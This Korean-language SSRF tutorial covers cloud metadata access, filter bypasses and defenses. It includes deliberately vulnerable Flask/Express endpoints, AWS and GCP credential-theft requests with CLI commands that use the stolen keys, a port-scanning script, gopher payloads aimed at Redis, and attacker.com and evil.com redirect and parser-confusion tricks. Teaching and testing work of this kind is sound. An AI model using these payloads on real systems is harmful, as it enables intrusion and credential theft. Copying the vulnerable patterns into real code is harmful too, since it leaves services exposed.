기본 원리: 네트워크 신뢰 경계
네트워크는 신뢰 구역으로 나뉜다
인터넷을 바라보는 시스템은 보통 여러 겹의 신뢰 경계로 나뉜다.
[인터넷 (인터넷)]
↓
[DMZ — 웹 서버, 로드밸런서, API 게이트웨이]
↓
[내부망 — DB 서버, 캐시(Redis), 관리 API, 메타데이터 서비스]
↓
[클라우드 메타데이터 서비스 (169.254.169.254)]
방화벽 규칙: 일반적으로 인터넷 → 내부망은 차단되지만, 내부망 서버 → 내부망 서버는 허용된다.
여기서 SSRF가 등장한다. 공격자는 웹 서버에 HTTP 요청을 보내도록 유도해서, 웹 서버가 공격자 대신 내부망에 요청을 보내게 만든다. 웹 서버는 내부망을 신뢰받은 위치에서 접근하므로 방화벽을 우회할 수 있다.
인터넷(공격자) → 웹 서버 → 내부망 Redis :6379
↑ ↑
직접 차단됨 SSRF로 우회
HTTP 라이브러리가 요청을 보내는 원리
SSRF가 발생하는 이유는 서버 측 코드가 외부에서 받은 URL을 검증 없이 HTTP 클라이언트 라이브러리에 넘기기 때문이다.
# Python의 requests 라이브러리 내부 흐름
import requests
def fetch_url(url):
# requests.get()은 내부적으로:
# 1. URL 파싱 (scheme, host, port, path 분리)
# 2. DNS 조회 또는 IP 직접 사용
# 3. TCP 소켓 연결 (해당 IP:PORT로)
# 4. HTTP 요청 전송
# 5. 응답 반환
return requests.get(url)
# 공격자가 url = "http://169.254.169.254/latest/meta-data/" 를 전달하면
# 서버는 아무 제한 없이 그 주소로 TCP 연결을 시도한다
이 흐름에서 핵심은 TCP 연결은 운영체제가 수행한다는 것이다. requests.get()이 내부적으로 socket.connect()를 호출하면, OS 네트워크 스택이 라우팅 테이블을 보고 패킷을 보낸다. 169.254.169.254는 link-local 주소로, 클라우드 인스턴스에서는 로컬 메타데이터 서비스를 가리킨다.
취약한 코드 패턴
# ❌ 취약 — URL을 검증 없이 그대로 요청
import requests
from flask import Flask, request
app = Flask(__name__)
@app.route('/fetch')
def fetch():
url = request.args.get('url')
response = requests.get(url) # 검증 없이 임의 URL 요청
return response.text
# 공격자: /fetch?url=http://169.254.169.254/latest/meta-data/
# 서버가 직접 AWS 메타데이터 서버에 연결함
// ❌ 취약 — 웹훅, PDF 생성, 이미지 프록시 등에서 빈번하게 발생
app.post('/webhook', async (req, res) => {
const { callbackUrl } = req.body;
// callbackUrl = "http://192.168.1.1/admin" 이면 내부 라우터에 접근
const result = await axios.get(callbackUrl);
res.json({ status: 'ok' });
});
// ❌ 취약 — "미리보기 생성" 기능
app.get('/preview', async (req, res) => {
const imageUrl = req.query.src;
const img = await fetch(imageUrl); // 내부 서비스로 요청 가능
res.set('Content-Type', 'image/jpeg');
res.send(Buffer.from(await img.arrayBuffer()));
});
SSRF가 숨어있는 기능들
이미지/파일 처리:
- URL에서 이미지 가져오기 (아바타 설정 등)
- PDF 생성 (wkhtmltopdf, Headless Chrome — HTML 내 URL 요청)
- 동영상 썸네일 생성
웹훅/콜백:
- OAuth 콜백 URL 검증
- Webhook 등록 후 테스트 요청
- 결제 알림 URL
크롤링/파싱:
- OG(Open Graph) 태그 파싱 (링크 미리보기)
- "URL에서 데이터 가져오기" 기능
- 소셜 미디어 공유 미리보기
XML 파서 (XXE와 조합):
- DOCTYPE에 외부 DTD URL 삽입
- xml:base 속성 악용
공격 대상
내부 서비스:
- http://localhost/admin (로컬호스트 관리 패널)
- http://127.0.0.1:8080 (로컬 개발 서버)
- http://192.168.1.1 (내부 라우터 관리 화면)
- http://10.0.0.0/24 (내부망 서버 스캔)
클라우드 메타데이터:
- http://169.254.169.254/ (AWS/GCP/Azure/알리클라우드 공통 링크로컬)
- http://metadata.google.internal/ (GCP 전용 도메인)
- http://169.254.169.254/latest/meta-data/ (AWS)
기타 프로토콜:
- file:///etc/passwd (파일 읽기, curl 기반 라이브러리)
- gopher://127.0.0.1:6379/_*3%0d%0a... (Redis 직접 공격)
- dict://127.0.0.1:11211/stats (Memcached 정보 수집)
- ftp://127.0.0.1:21/ (FTP 접근)
AWS 메타데이터 탈취 (핵심 공격)
169.254.169.254 — Link-Local 주소
169.254.0.0/16은 IANA가 링크-로컬용으로 예약한 주소 대역이다. 라우터를 거치지 않고 같은 네트워크 세그먼트 내부에서만 통신한다. AWS는 이 주소에 IMDS(Instance Metadata Service) 를 배치했다. EC2 인스턴스는 별도 설정 없이 이 주소로 자신의 메타데이터에 접근할 수 있다.
EC2 인스턴스 내부:
curl http://169.254.169.254/latest/meta-data/
→ 인스턴스 ID, AMI ID, IAM 역할 정보 등 반환
외부 인터넷:
curl http://169.254.169.254/ → 접속 불가 (라우팅 안 됨)
SSRF 취약한 EC2:
공격자 → 웹 앱 SSRF → EC2가 169.254.169.254에 요청 → 메타데이터 반환
IAM 임시 자격증명 탈취
EC2 인스턴스에 IAM 역할이 할당되어 있으면, 메타데이터 서버에서 임시 자격증명을 발급받을 수 있다. 이 자격증명은 AWS API 호출에 사용된다.
# SSRF로 접근 가능한 AWS 메타데이터 엔드포인트 (순서대로)
# 1. 인스턴스 기본 정보
http://169.254.169.254/latest/meta-data/
# 2. IAM 역할 이름 확인 (역할이 있을 때만 존재)
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# 응답: "s3-access-role" (역할 이름)
# 3. IAM 역할 임시 자격증명 획득 (핵심!)
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3-access-role
# 응답:
{
"Code": "Success",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIAIOSFODNN7EXAMPLE",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
"Token": "IQoJb3JpZ2luX2VjEJr//////////wEaCXVzLWVhc3QtMSJG...",
"Expiration": "2025-04-23T18:00:00Z"
}
# 탈취한 자격증명으로 AWS CLI 사용
export AWS_ACCESS_KEY_ID=ASIAIOSFODNN7EXAMPLE
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEJr//////////wE...
aws sts get-caller-identity # 현재 권한 확인 (어떤 역할인지)
aws s3 ls # S3 버킷 목록
aws s3 cp s3://company-secrets/config.json . # 파일 탈취
aws iam list-users # IAM 사용자 목록 (권한 있으면)
aws ec2 describe-instances # 내부 인프라 파악
IMDSv2 — AWS의 대응책과 우회
2019년 AWS는 SSRF 공격을 방어하기 위해 IMDSv2를 도입했다. IMDSv2는 PUT 요청으로 세션 토큰을 먼저 발급받아야 GET 요청이 가능하다. 대부분의 SSRF는 단순 GET 요청이므로 IMDSv2가 강제 활성화되어 있으면 메타데이터 접근이 차단된다.
# IMDSv2 흐름 (정상)
# 1단계: 세션 토큰 요청 (PUT 메서드 + 특수 헤더 필요)
curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
# 응답: AQAAANjMQ5... (세션 토큰)
# 2단계: 토큰으로 메타데이터 접근
curl -H "X-aws-ec2-metadata-token: AQAAANjMQ5..." \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# SSRF 우회가 가능한 경우:
# - 앱이 HTTP 헤더를 사용자 입력으로 지정 가능 (Header Injection)
# - 앱이 리다이렉트를 따라가면서 PUT도 허용하는 경우
# - IMDSv1이 여전히 활성화된 경우 (레거시 지원)
GCP 메타데이터
GCP는 Metadata-Flavor: Google 헤더가 필수로 요구된다. SSRF에서 커스텀 헤더를 추가할 수 있다면 접근 가능하다.
# GCP 메타데이터 서버 (헤더 필수)
http://169.254.169.254/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/
# 필요 헤더: Metadata-Flavor: Google
# SSRF에서 요청 헤더를 커스텀할 수 있는 경우:
# curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/
# 서비스 계정 토큰 탈취
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
# 응답
{"access_token": "ya29.xxxxx", "expires_in": 3599, "token_type": "Bearer"}
# 탈취한 토큰으로 GCP API 접근
curl -H "Authorization: Bearer ya29.xxxxx" \
"https://www.googleapis.com/compute/v1/projects/MY_PROJECT/zones/us-central1-a/instances"
# GCS 버킷 내용 조회
curl -H "Authorization: Bearer ya29.xxxxx" \
"https://storage.googleapis.com/storage/v1/b/my-bucket/o"
Blind SSRF
서버가 요청을 보내지만 응답을 클라이언트에게 반환하지 않는 경우 (로그, 웹훅 트리거 등). 직접 응답을 볼 수 없지만 외부 서버를 이용해 요청이 발생했는지 확인할 수 있다.
# 공격자가 제어하는 서버로 SSRF 트리거
# Burp Collaborator, interactsh 활용
# interactsh 서버 시작 (오픈소스 Burp Collaborator 대안)
./interactsh-client
# 발급된 도메인: abc123.oast.fun
# SSRF 페이로드
/fetch?url=http://abc123.oast.fun/ssrf-test
# 공격자 서버에 DNS 쿼리 + HTTP 요청이 도착하면 SSRF 확인됨
# DNS 요청만으로도 확인 가능 (DNS over-the-wire)
내부 포트 스캔 — 응답 시간 차이 활용
열린 포트는 TCP 연결이 성공해 빠르게 응답하고, 닫힌 포트는 즉시 RST(Connection Refused)를 반환한다. 필터된 포트는 응답 자체가 없어 타임아웃까지 기다려야 한다. 이 시간 차이를 이용해 내부망 포트를 스캔할 수 있다.
import requests
import time
def ssrf_port_scan(ssrf_url, target_ip, ports):
"""
열린 포트: TCP 연결 성공 → 빠른 응답 (< 1초)
닫힌 포트: TCP RST 즉시 반환 → 에러 응답 (빠르지만 실패)
필터된 포트: 패킷 드롭 → 타임아웃 (느림)
"""
results = {"open": [], "closed": [], "filtered": []}
for port in ports:
try:
start = time.time()
r = requests.get(
f"{ssrf_url}?url=http://{target_ip}:{port}",
timeout=5
)
elapsed = time.time() - start
# 연결 성공 (200, 401, 403 등 HTTP 응답)
if r.status_code < 500:
results["open"].append(port)
print(f"[OPEN] {target_ip}:{port} ({elapsed:.2f}s)")
else:
# 서버가 연결 실패를 500으로 반환
results["closed"].append(port)
except requests.exceptions.Timeout:
results["filtered"].append(port)
print(f"[FILTERED] {target_ip}:{port} (timeout)")
except:
results["closed"].append(port)
return results
# 내부망 서비스 포트 스캔
common_ports = [
21, # FTP
22, # SSH
6379, # Redis (인증 없이 접근 가능한 경우 많음)
9200, # Elasticsearch (무인증 HTTP API)
8080, # 관리자 패널
8443, # 관리자 패널 HTTPS
27017, # MongoDB
5432, # PostgreSQL
3306, # MySQL
11211, # Memcached
]
ssrf_port_scan("http://target.com/fetch", "10.0.0.1", common_ports)
필터 우회 기법
IP 표현 변환 (127.0.0.1 = localhost 우회)
서버가 127.0.0.1이나 localhost를 블랙리스트로 막을 때, 같은 IP를 다른 형식으로 표현해 우회한다.
# 127.0.0.1의 다양한 표현 방식
http://0x7f000001/ # 127.0.0.1 (16진수 표현)
# 0x7f = 127, 0x00 = 0, 0x00 = 0, 0x01 = 1
http://2130706433/ # 127.0.0.1 (10진수 32비트 표현)
# 127*2^24 + 0*2^16 + 0*2^8 + 1 = 2130706433
http://0177.0.0.1/ # 127.0.0.1 (앞 바이트 8진수)
# 0177(8진수) = 127(10진수)
http://127.1/ # 127.0.0.1 축약형
# OS 네트워크 스택이 127.1 → 127.0.0.1 해석
http://127.000.000.001/ # 앞 0 포함 (일부 파서 통과)
DNS 리바인딩 / DNS 우회
# nip.io 서비스: 서브도메인 = IP 주소
# 169.254.169.254.nip.io → DNS 조회 → 169.254.169.254 반환
http://169.254.169.254.nip.io/latest/meta-data/
# xip.io도 동일 방식
http://169.254.169.254.xip.io/
# DNS 조회 시점과 실제 연결 시점 차이 악용 (DNS Rebinding)
# 1. 공격자 도메인 A 레코드 = 허용된 IP (검증 통과)
# 2. DNS TTL 0으로 설정
# 3. 실제 연결 시 A 레코드를 169.254.169.254로 변경
# 4. 서버가 재조회 없이 캐시된 결과로 연결하거나, TTL 0이라 재조회해서 내부 IP에 연결됨
리다이렉트 우회
서버가 URL 검증 후 리다이렉트를 따라가는 경우:
# 공격자 서버 (Flask)
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/redirect')
def redir():
# 화이트리스트 도메인처럼 보이는 공격자 서버가
# 실제 내부 주소로 302 리다이렉트
return redirect('http://169.254.169.254/latest/meta-data/', 302)
# SSRF 페이로드:
# /fetch?url=https://attacker.com/redirect
# 서버: attacker.com은 화이트리스트 → 요청 허용
# 서버: attacker.com이 302로 169.254.169.254 리다이렉트
# 서버: allow_redirects=True (기본값)이면 리다이렉트 따라감
URL 파서 혼동 (Parser Confusion)
# URL 표준(RFC 3986)에 @ 기호: userinfo@host 구분자
# http://evil.com@169.254.169.254/
# 파서에 따라 호스트를 다르게 해석
# Python urllib.parse.urlparse 결과:
# scheme='http', netloc='evil.com@169.254.169.254'
# hostname='169.254.169.254' ← 실제 연결 대상!
# 방어 코드에서 parsed.hostname으로 확인하지 않고
# 단순 문자열 검색으로 블랙리스트 확인 시 우회 가능
# IPv6 표현
http://[::1]/ # localhost IPv6
http://[::ffff:127.0.0.1]/ # IPv4-mapped IPv6
http://[::ffff:7f00:1]/ # 127.0.0.1의 16진수 IPv6
gopher:// 프로토콜 — TCP 레벨 직접 공격
gopher:// 프로토콜은 TCP 소켓에 임의 바이트를 전송할 수 있다. HTTP를 거치지 않고 Redis, Memcached, SMTP 등 텍스트 기반 프로토콜의 명령을 직접 전송한다.
gopher://host:port/_ + URL인코딩된 페이로드
gopher 프로토콜 구조:
- host:port에 TCP 연결
- / 이후 첫 번째 문자는 무시됨 (_ 사용 관례)
- 나머지 URL디코딩된 바이트를 소켓으로 전송
- TCP 응답을 받아서 반환
# Redis 공격 예시
# Redis 프로토콜(RESP)로 SET 명령 전송:
# *3\r\n$3\r\nSET\r\n$4\r\ntest\r\n$5\r\nhello\r\n
# URL 인코딩 후 gopher 페이로드:
gopher://127.0.0.1:6379/_%2A3%0D%0A%243%0D%0ASET%0D%0A%244%0D%0Atest%0D%0A%245%0D%0Ahello%0D%0A
# gopherus 도구 — 자동 페이로드 생성
python gopherus.py --exploit redis
# → Redis config 변경, 크론탭 등록으로 RCE 가능
방어 방법
# ✅ 화이트리스트 기반 검증 + DNS 재확인
import ipaddress
import socket
from urllib.parse import urlparse
import requests
ALLOWED_DOMAINS = {'api.company.com', 'webhook.company.com'}
def is_safe_ip(ip_str: str) -> bool:
"""사설 IP, 루프백, 링크로컬 주소 차단"""
try:
addr = ipaddress.ip_address(ip_str)
return not (
addr.is_private or # 10.x, 172.16.x, 192.168.x
addr.is_loopback or # 127.x.x.x
addr.is_link_local or # 169.254.x.x (메타데이터)
addr.is_multicast or # 224.x.x.x
addr.is_reserved # 예약된 주소
)
except ValueError:
return False
def safe_fetch(url: str) -> requests.Response:
parsed = urlparse(url)
# 1. 스키마 검증
if parsed.scheme not in ('http', 'https'):
raise ValueError(f"허용되지 않는 스키마: {parsed.scheme}")
# 2. 호스트 검증
hostname = parsed.hostname
if not hostname:
raise ValueError("호스트 없음")
# 3. 도메인 화이트리스트
if hostname not in ALLOWED_DOMAINS:
raise ValueError(f"허용되지 않는 도메인: {hostname}")
# 4. DNS 조회 후 IP 검증 (DNS 우회 방지)
# 중요: URL 검증 시점과 실제 연결 시점 사이 DNS 변경(리바인딩) 가능
# 가장 안전한 방법은 IP를 직접 지정해 연결하는 것
try:
resolved_ip = socket.gethostbyname(hostname)
except socket.gaierror:
raise ValueError("DNS 조회 실패")
if not is_safe_ip(resolved_ip):
raise ValueError(f"내부 IP 접근 차단: {resolved_ip}")
# 5. 리다이렉트 차단 (리다이렉트로 내부 URL 우회 방지)
return requests.get(url, allow_redirects=False, timeout=5)
추가 방어 (인프라 레벨):
- AWS: IMDSv2 강제 활성화 (aws ec2 modify-instance-metadata-options)
- 메타데이터 서버 접근 iptables 차단 (egress filtering)
- 최소 권한 IAM 역할 설정 (S3 접근만 필요하면 S3 권한만)
- 서버에서 아웃바운드 연결 허용 도메인/IP 화이트리스트
- WAF에서 169.254.169.254, metadata.google.internal 등 차단
실전 탐지 체크포인트
SSRF 취약점이 자주 숨어있는 기능:
URL을 직접 받는 기능:
✓ 이미지/파일 URL 업로드
✓ "URL에서 가져오기" 임포트 기능
✓ 웹훅/콜백 URL 등록
✓ OAuth 콜백 URL
✓ 링크 미리보기 (OG 태그 파싱)
간접적으로 URL이 사용되는 기능:
✓ PDF/이미지 생성 (HTML 내 외부 리소스 로드)
✓ HTML 렌더링 (Headless Chrome)
✓ XML 파서 (XXE와 SSRF 조합)
✓ 이메일 HTML 콘텐츠 처리
탐지 방법:
1. Burp Collaborator/interactsh URL을 모든 URL 파라미터에 삽입
2. 내부 주소 (127.0.0.1, 169.254.x.x) 직접 삽입
3. 응답 시간 차이로 포트 스캔 여부 확인
4. DNS 조회 로그 모니터링 (Out-of-Band)
⚠️ 모든 기법은 서면으로 명시된 권한 범위 내의 침투 테스트 환경에서만 사용해야 한다. 무단 사용은 컴퓨터통신망 침해 범죄에 해당한다.